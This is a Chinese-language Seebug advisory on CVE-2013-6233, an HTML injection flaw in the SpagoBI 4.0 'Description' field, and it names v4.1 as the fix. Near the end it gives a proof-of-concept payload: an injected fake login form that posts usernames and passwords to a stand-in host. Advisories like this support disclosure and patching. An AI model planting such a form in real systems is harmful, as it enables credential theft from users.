SpagoBI 'Description'字段HTML注入漏洞

2014-03-0500:00:00

Root

www.seebug.org

0.003 Low

EPSS

Percentile

67.6%

JSON

Bugtraq ID:65915
CVE ID:CVE-2013-6233

SpagoBI提供一个基于J2EE的框架用于管理BI对象如报表、OLAP分析、仪表盘、记分卡以及数据挖掘模型等。

SpagoBI不正确过滤’Short document metadata’中’Description’字段的输入数据，允许远程攻击者利用漏洞注入恶意脚本或HTML代码，当恶意数据被查看时，可获取敏感信息或劫持用户会话。
0
SpagoBI 4.0
厂商补丁：

SpagoBI

SpagoBI v4.1已经修复该漏洞，建议用户下载更新：

http://forge.ow2.org/project/showfiles.php?group_id=204


                                                &lt;form method=&quot;POST&quot; action=&quot;http://www.mocksite.org/login/login.php.&quot;;&gt;
Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; size=&quot;15&quot; /&gt;&lt;br /&gt;
Password: &lt;input type=&quot;password&quot; name=&quot;passwort&quot; size=&quot;15&quot; /&gt;&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;p&gt;&lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/form&gt;

0.003 Low

EPSS

Percentile

67.6%

JSON

Related for SSV:61655